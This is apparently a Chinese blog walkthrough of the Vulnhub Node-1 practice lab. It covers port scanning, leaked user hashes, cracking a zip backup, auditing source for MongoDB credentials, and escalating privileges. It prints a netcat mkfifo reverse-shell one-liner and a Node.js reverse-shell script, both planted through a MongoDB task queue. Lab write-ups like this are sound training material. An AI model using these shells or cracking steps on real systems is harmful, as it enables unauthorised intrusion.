【甄选靶场】Vulnhub百个项目渗透——项目三十:Node-1(源码审计)
Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目三十:Node-1(源码审计)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月2日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、WEB突破
信息收集
首先就是nmap扫描一遍
nmap -sS -sV -A -T5 [ip]
然后在页面中翻找一下,就找到了几个用户信息,做个备忘录记下来
然后再做源代码的枚举,这里我们发现了
<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>
查看静态源码发现调用了javascript目录和js文件在前端!
在查看view-source:http://192.168.253.176:3000/assets/js/app/controllers/home.js
静态源码发现调用了:/api/users/
访问:
http://192.168.253.176:3000/api/users/
发现这是前端的JSON!包含四个用户名密码信息:
但是实际情况下并不太可能在前端的JS中存在什么信息,但是毕竟这是CTF么。
得到了四个账号密码,解密看看
myP14ceAdm1nAcc0uNT
manchester
tom
spongebob
mark
snowflake
这些个用户都是之前web页面的,我们就先登陆一下web,看看,结果是这么提示的。那就好办了,接着试,看样子碰到管理员用户就会很好好整
然后显示可以下载下来一个备份文件,下下来以后发现是一个base64的文件
file [文件名] --查看文件类型
cat myplace.backup |base64 -d >rong
file rong 发现是个压缩包了
mv rong rong,zip --改个名,这样才能解压
unzip rong
发现需要密码,那就爆破一下,用fcrackzip
locate rockyou.txt --找一下这个牛逼字典
fcrackzip -u -D -p [字典地址] rong.zip
如图,爆破出来了密码
打开解压后的文件,发现是网站完整源码,因为是var/www/html
所以放在sear源代码审计软件中审计一下,发现没有问题,那就说明这个一份源码只能存在一定程度上的信息泄露,不然就没有利用价值了,他也不会故意把这个给我们
代码审计
发现这是www站目录源码信息泄露,存在app.js
App.js 是一个轻量级的 JavaScript UI 库,用来创建移动的 Web 应用,应用的外观跟原生的应用相同,性能也近乎一致。
这个玩意就也是,敏感,经验的累积吧,得到如下信息:
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const
backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
5,6行可以知道开启了monDB服务
第十行可以看出来数据库登陆的账号和密码
因为MONDB的数据库URL登陆格式就是这样,不信就去搜一下,菜鸟教程
第13行还有一个backup_key
然后最后一段代码还有个命令还是咋回事,有个-q,但是我看不懂,但是我看到了参数的传递,就是后面的那个又调用了backup_key,猜测这个完整的命令是:
spawn(‘/usr/local/bin/backup’ -q
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474,[用户名]
内网提权
用刚才登录MONDB的用户登陆一下SSH
mark : 5AYRft73VtFpc84k
ssh mark@192.168.247.129
然后去看一下这个目录下的backup文件是个啥,打不开
但是是root权限跑的,所以估计可以提权,但是还没有信息收集,先不慌
信息收集
传提权脚本(三个哦)
发现了一个在本地的27017,27017是MONDB数据库
还发现了一个权限乱七八糟的TOM用户,那我估计下一步肯定要搞这个TOM,因为服务越多,权限交叉越大,漏洞越多,越脆弱
总结一下信息枚举的结果
1)Linux version 4.4.0-93-generic
2)Sudo version 1.8.16
3)mongodb 1288 0.6 11.6 281956 88380
127.0.0.1:27017
4)uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)
内核提权
根据les.sh跑出来的信息,直接利用EXP
可以提权
MONGODB提权
看一下没在root的进程
ps aux | grep -v root
发现了两个TOM运行的
nc -vlp 4444
mongo -u mark -p 5AYRft73VtFpc84k scheduler ---db 查看库信息
show collections ----show tables;查看已存在的表
db.tasks.find({}) ----查看一下表内容,现在表中无文档
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"}) ----将反弹shell插入文档
成功获得tom用户的反弹shell!
python3 -c 'import pty; pty.spawn("/bin/bash")'
app.js提权
里还有别的方法在JavaScript中创建一个反向shell
js木马:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "192.168.247.129", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
nc -vlp 1234
mongo -u mark -p 5AYRft73VtFpc84k scheduler
show collections
db.tasks.findOne()
db.tasks.insert({"cmd": "/usr/bin/node /tmp/shell.js"})
成功获得反弹shell!
获得的都是tom的shell,然后再用内核漏洞提权,没之前方便。
相关文章
- Node 的 cross-env 模块
- 如何去掉 node.js 获取MySQL数据产生的RowDataPacket
- 创建node节点的kubeconfig文件
- 宝塔面板部署Vue项目、服务端Node___配置域名
- node项目配置成nginx启动
- Vue + ElementUI的电商管理系统实例28 项目上线-通过node创建web服务器
- Node.js 安装第三方模块包(npm),通过 package.json配置信息安装项目依赖的模块
- Fenix – 基于 Node.js 的桌面静态 Web 服务器
- 成功解决node、node-sass和sass-loader版本冲突问题、不需要降低node版本。如何在vue项目中安装node-sass,以及安装node-sass可能遇到的版本冲突问题
- node--JSON底层解析
- node--dns
- js:如何在命令行使用项目中的node_modules包
- Kubernetes(K8s) node(节点)
- Node.js 子进程:你应该知道的一切
- 在 Node.js 和 C++ 之间使用 Buffer 共享数据
- node.js项目部署
- Node.js核心入门(一)
- 将Node.js项目docker容器化并纳入kubernetes调度编排的实践